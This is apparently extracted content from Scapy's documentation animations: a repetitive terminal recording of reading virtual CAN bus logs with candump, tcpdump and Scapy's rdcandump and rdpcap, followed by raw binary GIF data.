2019]$ cant ^C[cars@scapy folders 2019]$ cant ^C[cars@scapy folders 2019]$ cant c ^C[cars@scapy folders 2019]$ cant ca ^C[cars@scapy folders 2019]$ cat ^C[cars@scapy folders 2019]$ cat ^C[cars@scapy folders 2019]$ cat c ^C[cars@scapy folders 2019]$ cat ca ^C[cars@scapy folders 2019]$ cat can ^C[cars@scapy folders 2019]$ cat candump-2019-01-23_074738.log [cars@scapy folders 2019]$ s [cars@scapy folders 2019]$ sc [cars@scapy folders 2019]$ sca [cars@scapy folders 2019]$ scap [cars@scapy folders 2019]$ candump -l vcan0 Disabled standard output while logging. Enabling Logfile 'candump-2019-01-23_074738.log' (1548226058.287753) vcan0 09E#07B1307888 (1548226058.487865) vcan0 4E2#23DB05786383B36C-01-23_074738.log (1548226058.687980) vcan0 0EF#18222F1D187A7260 (1548226058.888091) vcan0 265#2C19CB7686B1C527 (1548226059.088203) vcan0 5B1#B908E70B7E806364 (1548226059.288277) vcan0 6AF#1354792889098308 (1548226059.488383) vcan0 738#7F68B03C8B (1548226059.688491) vcan0 73F#D2C3EE25DD577B3A (1548226059.888596) vcan0 7D4#66AC8C69B6D43B50 (1548226060.088679) vcan0 6D2#1958EF3CC10F2E58 (1548226060.288760) vcan0 554#D9 (1548226060.488840) vcan0 4F0#40B95B21A1EA (1548226060.688936) vcan0 584#1F6BE80933342E14 (1548226060.889275) vcan0 713#BC3DB1 (1548226061.089386) vcan0 2B8#D731327AF7210712 (1548226061.289495) vcan0 34B#D579824C1FF3276B (1548226061.489601) vcan0 282#D6C7633B54412149 (1548226061.689709) vcan0 5C4#15514F2118D3632F [cars@scapy folders 2019]$ scapy [cars@scapy folders 2019]$ scapy spCPY//////Y15514F2118D3632F INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). 6383B36C-01-23_074738.log aSPY//YASa 187A7260 apyyyyCY//////////YCa |C527 sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y |3B50 A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets like it is your last scccccp///pSP///p p//Y | day on earth. sY/////////y caa S//P | -- Lao-Tze cayCyayP//Ya pY/Ya |0712 sY/PsY////YCc aC//Yp 1FF3276B sc sccaCY//PCypaapyCP//YSs 54412149 spCPY//////YPSps 18D3632F ccaacs using IPython 7.1.1dfdump().>>> [0] 0:python3.7* "cars@scapy :~/repos/t" 07:47 23-Jan-19>>> I-search backward: >>> load_layer("can") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") I-search backward: load >>> load_layer("can") >>> p >>> pk >>> pkt >>> pkts >>> pkts >>> pkts = >>> pkts = >>> pkts = r >>> pkts = rd >>> pkts = rdc >>> pkts = rdca >>> pkts = rdcan >>> pkts = rdcand >>> pkts = rdcandu >>> pkts = rdcandum >>> pkts = rdcandump >>> pkts = rdcandump( >>> pkts = rdcandump(" >>> pkts = rdcandump("c >>> pkts = rdcandump("cn >>> load_layer("can") >>> pkts = rdcandump("ca [0] 0:python3.7* "cars@scapy :~/repos/t" 07:48 23-Jan-19 callable %%capture >>> pkts = rdcandump("callable callable %%capture candump-2019-01-23_074738.log %cat >>> pkts = rdcandump("candump-2019-01-23_074738.log candump-2019-01-23_074738.log %cat capability_list <unknown> >>> pkts = rdcandump("candump-2019-01-23_074738.log" >>> pkts = rdcandump("candump-2019-01-23_074738.log") >>> pkts = rdcandump("candump-2019-01-23_074738.log") [<CAN identifier=0x9e length=5 data='\x07\xb10x\x88' |>, <CAN identifier=0x4e2 length=8 data='#\xdb\x05xc\x83\xb3l' |>, <CAN identifier=0xef length=8 data='\x18"/\x1d\x18zr`' |>, <CAN identifier=0x265 length=8 data=",\x19\xcbv\x86\xb1\xc5'" |>, your last <CAN identifier=0x5b1 length=8 data='\xb9\x08\xe7\x0b~\x80cd' |>, <CAN identifier=0x6af length=8 data='\x13Ty(\x89\t\x83\x08' |>,- Lao-Tze <CAN identifier=0x738 length=5 data='\x7fh\xb0<\x8b' |>, <CAN identifier=0x73f length=8 data='\xd2\xc3\xee%\xddW{:' |>, <CAN identifier=0x7d4 length=8 data='f\xac\x8ci\xb6\xd4;P' |>, <CAN identifier=0x6d2 length=8 data='\x19X\xef<\xc1\x0f.X' |>, <CAN identifier=0x554 length=1 data='\xd9' |>, <CAN identifier=0x4f0 length=6 data='@\xb9[!\xa1\xea' |>,fdump(). <CAN identifier=0x584 length=8 data='\x1fk\xe8\t34.\x14' |>, <CAN identifier=0x713 length=3 data='\xbc=\xb1' |>, <CAN identifier=0x2b8 length=8 data='\xd712z\xf7!\x07\x12' |>, <CAN identifier=0x34b length=8 data="\xd5y\x82L\x1f\xf3'k" |>, <CAN identifier=0x282 length=8 data='\xd6\xc7c;TA!I' |>, <CAN identifier=0x5c4 length=8 data='\x15QO!\x18\xd3c/' |>] >>> [exited] scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-rdpcap.svg000077500000000000000000004401621372370053500255710ustar00rootroot00000000000000 cars@scapy ~/r/t/a/p/folders 2019> cars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump cars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump cars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump cars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump cars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump [sudo] password for cars: cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy cars@scapy ~/r/t/a/p/folders 2019> scapy Welcome to fish, the friendly interactive shellcars@scapy ~/r/t/a/p/folders 2019> sudo tcpdump -i vcan0 -w output.dump [sudo] password for cars: tcpdump: listening on vcan0, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes^C30 packets captured38 packets received by filter0 packets dropped by kernelcars@scapy ~/r/t/a/p/folders 2019> scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().>>> aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets before they craft scccccp///pSP///p p//Y | you. sY/////////y caa S//P | -- Socrate cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> I-search backward: >>> load_layer("can") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") I-search backward: load >>> load_layer("can") >>> load_layer("can") >>> load_layer("can") I-search backward: c >>> conf.contribs["CAN"] = {'swap-bytes': True} I-search backward: co >>> conf.contribs["CAN"] = {'swap-bytes': True} I-search backward: con >>> conf.contribs["CAN"] = {'swap-bytes': True} >>> conf.contribs["CAN"] = {'swap-bytes': True} >>> conf.contribs["CAN"] = {'swap-bytes': True} I-search backward: p >>> for x in pkts: I-search backward: pk >>> for x in pkts: I-search backward: pkt >>> for x in pkts: ...: print(x[1].__repr__()) I-search backward: pkts >>> pkts = rdpcap("output.dump") I-search backward: pkts I-search backward: pkts = >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> pkts = rdpcap("output.dump") >>> conf.contribs["CAN"] = {'swap-bytes': True} I-search backward: f I-search backward: fo >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: >>> for x in pkts: ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: print(x[1].__repr__()) ...: >>> for x in pkts: ...: <CAN flags= identifier=0x1c length=8 reserved=0 data='\xc0\xf4\x11a\xfb\x18)f' |> <CAN flags= identifier=0x1c length=8 reserved=0 data='\xc0\xf4\x11a\xfb\x18)f' |><CAN flags= identifier=0x36f length=4 reserved=0 data='w\xb5\x91\x02' |<Padding load='\x00\x00\x00\x00' |>><CAN flags= identifier=0x617 length=6 reserved=0 data='\xef;/|\xb9\xaa' |<Padding load='\x00\x00' |>><CAN flags= identifier=0x723 length=8 reserved=0 data='\x08\xc0o4\xdc\xd6\xddX' |><CAN flags= identifier=0x5b9 length=8 reserved=0 data='L\xaf\xc8,\xc0H\x1fP' |><CAN flags= identifier=0x6fe length=0 reserved=0 data='' |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00' |>><CAN flags= identifier=0x52a length=8 reserved=0 data='\x89R\xfcl\x12\xcb\x02M' |><CAN flags= identifier=0x22f length=5 reserved=0 data='\xb0\x14t\x1fL' |<Padding load='\x00\x00\x00' |>><CAN flags= identifier=0x22f length=5 reserved=0 da <CAN flags= identifier=0x6be length=1 reserved=0 data='G' |<Padding load='\x00\x00\x00\x00\x00\x00<CAN flags= identifier=0xd5 length=8 reserved=0 data <CAN flags= identifier=0xd5 length=8 reserved=0 data='y\x1f+m\xed&\xd1"' |><CAN flags= identifier=0x4c5 length=8 reserved=0 data='\xa6\xd1>-\xe8\x8by:' |><CAN flags= identifier=0x1e1 length=8 reserved=0 data='\xc4bW\x13\x9a\xef! <CAN flags= identifier=0x1e1 length=8 reserved=0 data='\xc4bW\x13\x9a\xef!{' |><CAN flags= identifier=0xca length=0 reserved=0 data='' |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00' |>><CAN flags= <CAN flags= identifier=0x780 length=8 reserved=0 data='\\\xa3\x0fM\xaa4dI' |><CAN flags= identifier=0x456 length=6 reserved=0 data='\xbd\xfff\x16\x85\xae' |<Padding load='\x00<CAN flags= identifier=0x456 length=6 reserved=0 data='\xbd\xfff\x16\x85\xae' |< >>> e >>> ex >>> exi >>> exit >>> exit cars@scapy ~/r/t/a/p/folders 2019> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-themes-demo.gif000077500000000000000000001205471372370053500264770ustar00rootroot00000000000000GIF89aÓçÿ*49IO]emƒ5, ¸^3:!n%T,L78LÞ9h6€]:‘V+hU\,÷J\JH.6mo,=Ûd:>]p(€kY T¹!o "op!#‘…3pƒKii:-‚ZEp $%(‚*n3> !'- (334eÿ¶:.K3^!,<¸%-8'-3,-D(+o8!·d’ÿµ,29Û+3?L,:;02g$-E0¹¶%7PÞ9:OH)8G¶Ü185I,nl+n(+¸ÿþ1:EEEm.# GlÝ´;:hÛÙR<L‰1BMÿgX;::’Ýÿ:BNÿŽI>OL>E'L3GEÿ·e;úñ€ ¤ IÈBòˆL¤"ÉÈF:ò‘Œ¤$ÿè}Xò’˜Ì¤>â8ÉNzò“  ¥(GIÊRšò”¨L¥*WÉÊTVR“°´$'[IËZÚò–7ÃpÉË^úò—À ¦0iùÊXjr2&$1 21Ó™ÍTæ!Ÿ9&j–ÈšyÄæˆ´YH]Jó›à §8ÇIN\Ó˜˜ÜE „ip¸3šítg8HOwÒSžóþQ=óY¢&ð“Dþ$S@ËIÇ} ôŸ#h?ÿéOkŒéòŒ&@ €Zã×t( ½IÐŽzô£ ©HˆÎc®˜Ö(=±Í|Zƒ¥8†Ka*S}Ò¡³PéˆrJ&žŽ”L/mé˜|Z"¢’Ȩ9µFŽŽ¥`NÝ©NŸM:ÕªäèO·ÊÕ®zõ«£B£ Õ­pñúˆR²˜M®r—ËÜj–"°ôl0!ŽÖªõím±»]Ù¶5´·M+xIôÛqª•±ßݦwÏ»R †v«e«q/ÅÞðîÔõõ#r›Ëßþú÷¿­+EbRi†ã±ò´n‚ïéN7¸Då}¨wGá‰ÊsÂÒøÀg~àIäøKÕ?ùï—þIqêû¿óÖ7t ‡lGSEd&&b_•kMÕŽÆa'Vb6Æg¥~€{^Ç~| Ps`Çç~[xy°|ø—‚Á§{ø0hvøq¸@€üÅh†dga¶€~ÆLD•k wjR¶f†ôw]Ç|T¶|™—‚×{ut(¨‚SØ‚1x…18ƒ7€ýUaXerå…ÞR£VrmÖ^+—† År-uuY…:‡#¼§|P˜yÏ×x&ˆ‡X‡+È„Ìg…X8ˆe§…§þ¯`ƒÍ…MezGµ[ŒsdHjôôZ’¶[O…‰Ž{CE‰hAq˜‚#è-yVy„—‡–R}Xx¤¨,H"¦Hˆ´XˆŸ§ož zÿõv.Æl¥wÀhWXw„/X‹ÆxŒ“dˆ —lȈJb&Mý׌Ò8†¤ŒúÆŒÔJ£fÀÙøà˜GÖxo ŽæxŽè˜nãˆp» ˆéøŽðöŽð°Iî(0æø¸ÍnÇt16„:Èp;H„‰¤ü˜´è™ÔŽX†,‡r6wjØryH©™…ëöeùbR’*utfu;5W"Iu‹”‘Ù’ÓÇéôþ‘ÉÕWî$X¼˜w+eT¹€—f„º¶w@yM{5e.Y”È“Év‰õŒ™hjM‰z²µz”µ‰röˆN鈳 ]oh”\¹)K2‰YUÜGfV‰^>VYeX7S–ff)©—u]9—Wˆ”`Y€$RWHoIM¾¸UÛ¸Zèa|I˜{Öƒ[I—ŠI}vixI{ j<˜ƒm%‰]uQ>épE(™ôMq™G,¹˜¢oéýu]«‘)†Kµ–—Õi2冪¹†vÅf*&—£™›dWšayYšv–³œœY™;å‰\UOÞµ0ljÂÉœvi· šÅ¨›Ôùn¼ù˜¿(ŒÁþØj7‰–ŒšÕžÛVšº(–=†à)žêùlä‰ ™žëŸÂvòYŸöyŸD󕎉ŸüÙŸâIŸþIPð ê_je‘™–šéj š~ŒÄÓH¾q§Š³¨x JêH+X Xv N‡OlH{I›˜‰dµ“˜%‘´Ù¢k¸iA@xjs(ˆ¡‹4¡r¤£ i¡uˆ£{d|=‡Hs8&üiÝ*f e–x‡ÔZm‰Qm^]}­›xV1›jÿŒÁˮ̻kìxc ²4}µ…ëÖéÚ°^÷½[ÇDÍ_¹ }ÔuÌ›)¼-{WnÙ²{«—Ö].»·†­·³…V„³G…_¤£ä…kkÇŽ»«h‚›Ù–Ò³Q{½`·µP˜´T›×^eÔ~]]†}dŒ Ûn©—të·ƒm“–ض]·¼}Ø#íK޽—–¼‰ieh‚ÇMGŒ+¤x¸°ˆ%ˆ¬¯þ¬pý|Ó Èœú¸%«Ú Uš}­J'JÏ TS%Þ)½c Øo †Ke»dF&Np…»Ã[ßâìm˜M‚Ò»ÙÌÛÙô‡¶Û=&: ¿à+µÊ›´ÞàÜMP¬Jö¿ÅÙSáA¼cýkÍ.ŠáhxáC•]#ZÍüûÃÄš^âô]ÜÛFðׂulÂÏÂÍK‡!KGœ‹©Skà‘ê¼`ºàÑZ˨„œEå‰ÊYuB^ä=ÄHìœIÞV†ƒŽÆiS=®L®Û³[})Å,¸ŽLhì·‡ ůø‡0ÞºfÛÆÅG©f¬ªm»M ¯éÊã"Õà;<^ ]fyTçfYNùÅÈþÄç~ÎKÉ);H˜ŒH…L‡I,ýçŒ.cú)è¾YÙz”è…DéÀ-é“´è¾é…$çœþé ¾Ú>ê¤^êzÝ‘¯lꎤéªÞêräé´¤Þö-Ø@Lë¶žåÐ¦ÌÆë꼞H°JàSÞâÄn¿ÆþáÜÈjØ¼Í ¥r(ÞëÐNH¿þIu×Ïñ¼t÷¬tòŒíÛŽÏÏfÞÜîNúìÑ^î”4êŸôÐ÷uÞíÝîxïWUWýLG**Sö„dC R-ïhXåæ>ðd2펄Ի;˜W.å œJÞðĹäräÔ;¥•YÎuÕ=¼Þ:»¦Oð Ï"èÞIþþ²àUز-Ù¯Û,Ï^á‡ém·2ÿQÔµ[…=~»ò:OGÞ­Tžb<ó»=ôs+Fô½ÍX˜Gõ‹˜N¾UÁ+Üi%·Äê;_êIÁ®M²~âµÞõ_ŸS*jäí·Bö™áZW‘iéudõWêÂEÿ¿þØ/ý§tïN MÂ5!ha¸G*Lxà1á"",(ÑZÃŒ JtøÑã,k­ÍrHq`H–-]¾„SæLš5mn¬ˆ‘¤I”!AØ àdÊŠ6EšTéR¦M>…UêTªU­^ÅšUëV®LýéVìX}»¦tEúè'ÁY•ÚsÖ±Œ.‡¥ Ô-Ü»sMr„È6oH¿>©uØv"\´«Zc”1CÄ„?bÌ ç(Ò #+ £Ò>çÖÓ‘¥0iä•„ê¸c.ûqL?ŒÌLѤþ³N;ïÄ3O¯š =í¢¨'µҚˀª¨Æþ**ô²õ ³ì¥ehN=k‚L C„ôÍßµôRQG%µTSÃc²I+\ï¥Ví:Ñ¥µD:õªWçó¨V]wåµW_CKUC?' j¦be:ö×ÏnU¶YgŸ…6Z›‚5o—Z$”¦l]IÚÆ˜õ6\qÇ%7Oj[ÛE–r×e·]wß…ÏsYÛåˆxïÅ7_}÷å·³yÏ¢_&¸`ƒûý·OØüª†‰ûP62Ý}øáƒ/Æ8c^Þð¬ Ý1@ù2íÖ.6EnÉ͈RÖ ä”â ´TJ#V¹.¡NÖ8gwV’ã°vþ‘BÂÀcKE·¤$¢Š˜é–\$¬§¡%Š2ËQ«f+W¨“ZéYy;l±Qå³cñHæ(¨»ô(GÐf‹¯ˆ¿¦;WZãæ 3—f>R%ùâ”Õn3G’û¯œÆF{—l/ ÷Ü5eéÌ $ù2@YWPÈñ[R?7KÏ|¾º$¨¤øÝgÿý/«\{ÿÿŸ÷Ìò —IlGcVþ!æ)pb 4Óñ˜7$Epyt õV@vpqÔƒ:Õ&¤Éï%#üPÍTXÂÔýKYC”’âÄ !+”TÜ‚9öЇaxH¦ Na®xêQb:·DÎåÐ:‰J ‹D)ÿ*raâAÄŸvÑ‹ "‘¬Ç”ºáÊŒî*#MÀõE6¶±]ôžwµF9Öю΂ãyEG=öѤÊã9HB&4d"¹H7"’‘„d$±ÆÄUl‚7²¤$5¹É;Q²_|S`qìò-Å!|# *IÆBVšgB‘"'e9Kðxr_X³áÔ´Ö4¨©I3¸œEÿþL„øÒ:¼ìš–4rIZ6Ó™¦±%uÊXnAŠ%*‰cJ Z§p>ÜOܶé²7‡›7·Ù-œä†^#gô,—«4J&oÝDÎ4Ÿ¹O~v%šãñœZ„©-Ì t7³2]qR׺Õ5Qƒ]_ò™†%¡Àã ,+úM¿DtžJt¨ääC‘y®Ÿ'EéTþ)žàeP)-M¢K÷f¿Æ:ƃÞé”—¿á(A<5¡D‚Óøý.§Gµ)v5˜¦Ô©OÝSãÊBbïE/µª ú!è~rúiXK޼Ü>ŒñiWá¢Ö䬨´ O9§öUVŒ9Tõºþך¬”€e¦5½¦Up\ b×sXõÒr÷ Ž øòXÙ@±Zif5k»)¯Ÿ­_ T˜¦.…´%,í áRÃ`f‡½“‘t”¹¿‰äEµz³«š³%¢X L­Ô¢ðB ZâîU€\˜Ð SML!Q1c‹©ˆ×jq¸W"t]i¹ŽŽP0«Ô~²ºÝåB÷QY| [Å+¾â¶×©Ç[=—Â>º*Vص‰|Ý»_þƾzLV}aµ»Põ×À–Šh¸-¤"y%Cp„%ìOØÂŽp…1¼aWÃqˆQúá.f±‰•©E¼b“Xgª¼yÃUþàÒ˜”I»q(K²Jîj—Å?–¥‹5FLùQ¤#‰ÚÓ©d&ÉG6&€#8ÃÜåá@ä²Yn›>©¼æ:Z^ž£¨==úd†Fª¡w¶sžA º‘}”¤ùܨêØ<è6Kµ,žr TÔŒJæ¦[–g¤a;iå$ǨØ$ëV©VSBwÚ‡ÜEÎòÚÖ&µ»]úOªç TU¯@=Îô«ƒª“ñzÚÖ .xæ2·á¶Áš5qŠQ¼Y‹ýˆYé5rxxkfÓ.×<+ŒnÓéÛûûµ6Æq¶±Af©m‡×mv¸e÷ìŒ)w½æ“⫬‹ç=þëYÐí† uÔ Ë¬š[Ü÷·¡w¡k± ¸&ú\˜Ù&ð4Uß ¾ù6'©á‡xÎÈÍpƒçéáÇ8žqŽw\ãRÝ·ÇE>r}Mœä'G9¹˜‹”·ÜåÑ2ùËe>óSÅœæ7Çy'7®GmjÓo;R§6¯™s¢K|çv4è§ìvÑÍÌxtK_vÑ¥n0›·1Ø3êÃJ;u®¬êlÄiÒ¤ÞVºëgGØÑë¸6V²ý¦«¢Žvº³ëë_,mj9Â ÛÆ&&­{àËuw¼ÇÒŠ‚¦Ã]ó:Wð¼Ú!?yÊ7†ð•Ç|æk'yÍwÞóQm\È??zÒþåò¥G}éOŸzÖw~õ¨À4²ÑíÄ­ñëKûÙGeè>:–€ØßÉ0€ÛO¥ã>:zÿ’ßùÉþôqÿCÝo*ÊwHó0ŒãÇüáŸÆí¯2ŒáÏÄßP?õgûö{¿‡+÷¼øïÐûâ_ý©¾ú‹½Røt8‡5 ˆþó¿ä»>âK?‚(qXƒD@ @Œ¾á‹½Q˜¬Àþ+¿,À¤ ð† œ‰ós ¬@ ´¿ûÓ7–ë<ýë½T¨?–°Aô#Á? œ†„ ? Œ½ëãÁñÂ⻽,B‚H…ù›†¼A˜8B™(þp@¾—¸ƒò{>tˆ¿ ü›Á€ý£½T(¿–8Blñ«Bêk@ñ†Þ3CñCBæ#C3¼Â,dA6” LA닉ý«‚q86 C0 ÃÌ¿<œ> œÂ5tDÚc?B8D¿à«?,‚k =‚PAT?34ÃL??Œ‰'üDš¨D-ô@QTD\cÄ1EísÀ”ÄZ¤DMdÅ8LÄP¾TÂPdÃ=$ˆ>œÄ˜x¿/œ‰Rt‰çS?ŒÅÿÃΫÄç³E¨Â\$34nÈšÂ_tˆ<‡pÔFícÃ&?(ÔÅTÌÆ÷KC<ÜÄo˜Ç9¤Ä)œÆIâ¼ÊëBsþPOT@þë@^ôC @óË@Xl úc‰þóÁw|¿ì£=T|Æq`FÇ,T@ ÜÈL¾}\D[8‘Œ i\F¨°C“±î‹Å; A ”@¨PE–1—ŒE„ŒÉ¦Ày´ÉµŸJœ BÊ£”9z¤dÊ”SÊíèBt¸D¥€Ä¬XI‰Ê©”‰ªDŠ«”ŠNüDˆlJû{ÊçHÉ©xC§ Fr¨ É?„?¦xÃP„KôJ¨HËnôɲĽ§|h‰ÀLÁä cTK}lжÌÈÐ0FÞ[ÅgÄBºœÂPtˆqļ°LmTL¿D½³h‰ÐMѤ‰;¾þëAäÁW„ÀÉlÆÔ4EàóÉ*\M' ÔJ'Œ¾ÜÀÜÉê£Ãfè@ŒIáŒÌ¥@LiDÎr„ÍˤMÖLF'¬?„LÈËôEtÍñ£È2$Nt0Î lÎ×DÇc*%HW{DG“=Æ$P\H„ÙGÜׇ,Ȉ¤X4Ñ€mBž} ¸Œ? µÔn$ULðD „>€È‚¼N™ËlíÔS­H§íÙ@Óå#Z`m påØŽ =ªJ¹Íׯ­<j—ÛË2ÜO³Í<´u–fåEìËK·%=¸ÅÛ½2½åÛ¿Í=}K[À%\óÛç¨[â»Û¤0U MZÅ]Ö•\e €A‹êKHôɵÝÂò¬‰Æµ ÎmÛÉ%]þ]q¤®˜Øñ»Ç©,[=uK¤ Û›-ÝÙ½7s ˜SqSœI®e ¯ÅÙ໽ßtÍÛ¬ÂóÓU×Vaˆ^ÝZ ß)eÙÆ`/½¾†^…;P†Çµ^ñ5á"–~af %‰Æþ>ƒ|Ýä•VyȪ•ÈšýDò»€ƒ½Ò®]^#ã ‰`Óˆ]Ð(ã0Fc1~^í]ÏE‹6Nã8†16ÄËÈm ;^\9æc²ñØ>d?¢ã@&dî[ãBFä/d£ÀÀvŠþ#âD–äÚ]ã TP¸äAµàpƒNîd‚ÈOvƒèEìÅäD´dT>åÌœäV&³LÞãX¾ãË”e$a‡ø€-‰`‚àdRÆQ[®eP¼ebÞcWVæ)JÔìM`pæèƒæÞ”Ê!¥‰]îå_&ˆ-ȼ¾hNMp¶>q®æe6gñ >€Ü KvžÀçÌe`æe‡ðe‡àfoþ¿v†Í;vçä=çÖŽ¢ÔHpLÜo¼€‚&èÇÅV™ÀfzÖfN–|>Æ„þDƒFèƒVh€ÖèçHgÌNF‡ãé4ŒghhPeæÎ ½€‘niýtã–iÑHg ôÄ#”ßúËiìµ`yÎæ£PÁ†À›Öi¢žé£>švÒ\j€ÅZ ,é“€z6 lj\F§Îj¤æjš~Þ;>«k¦kž¾fQvPÖf›ë;ìÆ²~k·îê¹ö—CæÉžþ¾H¦ë½FE¶‰’ÖL½æëÁ ¿®‰FNΩ€dÂflŽ¶ëÆ†ìq1ìȦì^ù¯ÊÆlh¹ìЀ(€Ìíþ€Ö7äÎþì­(€àíÖž ‚; €ÕvíÛÆÑ6ŠP‡àm‡X€à>mP€P€à‚èìà^‡8î€Xî@å†îàîí¤˜€ÛÆíïvˆÍž‰ÎNnâ>mè&ô&nÏ€ß&îèv €o o‚P€Ïîìì–o¤(€¸ðnðþnØ>Šû¦ïæ€Èîö®nó&·ïo‰ý&ˆpïl‡@€Ï–ÛûÕgmpÝ6Ѝn ¯pæÆnûžïxîo î Ïp‚Øð£ñpwmñ¦‰æFø†ð —qéVo÷þí ïíq‡Ygm ‚*·ò ðñÛò™ò€$wî#‡ñ§ð/oövòWŠÏò7q£0m$gnø.sëfîÓžîà&ò;·n_ 6oóÐ D ôB7’ 4ôD¿œTôFwl’tôHA—ôJF·ôL÷ œŒó>Ÿp=×ôP½²ÙB‡sööôøó™HmxpˆiQÏrLGr˜¨s›èoÿNpX—õFwÉwònñ1OŠˆ ñàõÙ®òˆú"‚p¤r"èñ^lJGŠ2_n%ób Pö ˜m€í>€Ù®öuwuЀxþŸwmoìj4 oGð''ö—>T5ö˜8÷€ut,çñ8÷ g·÷mïÇ™Ðw?wþ~ø €u6Ÿí øx_íÔ¶rjõˆŸin/ðùNóážq¯ÒÄvøg×€uƒßu„Wxox”¿÷‰—‰ŠÇq—¿õš0xc‡õt' Xí_xywŸ'ìîËsônùgñU‡ ƒwwä€iÇvÖvúgö*z©ïj•GûµÇ Zgû·m ‡û¹W µ§û»_ ·Ç{¼×û½§{»÷ûÀ{H?Š(o­¸ölŸò*W|Áhœ4ü­`úv³Ÿò¦¯|Ç?jÀ‰þçžs;§î`gq¤èùþ¾€ÔVw pöÒ×uÍßhÈ?|3·ïÓ.z›@goï ,7}ÓqÜ'y…wýÇ—û—ˆü%wˆ"W ‡y)g §€iWø øPwè—~ê~æ|™8þ¡}çu7yhWøÙön8§ïþs†ýPñ÷òî—ùÜWx߇÷z×ÿ ˆ,hð „ 2lèð!Ĉ'R¬hñ"ÆŒ7rìèñ#È"G’,iò$Ê”*WVô§ï%̘2õíÊEQAƒ ¸ çA(jàq€üˆ0`Ä‚E&eiõ*Ö¬Z·ríþêõ+ذbÇ’-ÒåÌ´/wy¢¸sÁ‚¡ÀýIð-\ Œ BD)D¢ €¯_Àf3nìø1äÈ’'S®l¹$Zµ3k^îìù3èТG“.mú4ÈÌšcrFíú5ìØ²gÓ®mÛ³êÕkÛÞîíû7ðà‡[wëâÊ—3oîü9tæÇWïÂý:öìÚ·sï~uºf¶ÞÇ“/oþIðjÛߌ/²À€ àÂ@øx ‚ *hš~ií²KEB•TÀ ÍEà‚j¸!‡jÕàf…Dèuµ] (@Q1P€Â…!FDS‡àA_þAˆ”_Fyø#A © ˆì‰ØŸAqù4ÔN+ ¡D-Z‚Sò#Å—ŽYVRŠ 9&™eš ]‘¬é^|8 @¶@AädÀ7èè‰N6 (Ôb 0à€D(_„!`¡z&¤‘J:éki´˚A g]p­¸SzAè$0@à¢GÙ¸A¢K _~uI)­µÚz+c–®•iD›º‰¨KÝ™çž}þCHy@ࣈBåêâ:-µÕZ»’®4ñ Ѧ%’l`¢>dh‹VŽ€åT­æ#˜×ºû.¼ñF”-¦áß]2I§°Êå@Oõx”þº©Ú«˜ò*¼0öһmÃK<1Å\=\1Æk¼qjë±– Ç!‹<2ÉÑ rÉ)«¼òÂôŠÂ2Ì1Ë\ëÅ3Û|3ÎÒ«‡[v%dgÎA =tp5Ûë3B@»5BD;ý4ÔfÍ‘Ò!MG½5×]³´³{ø&iâ^T2•¬×i«½vGôZ2b’rU=ÑÙlÛ}7ÞÑ{܇¾ 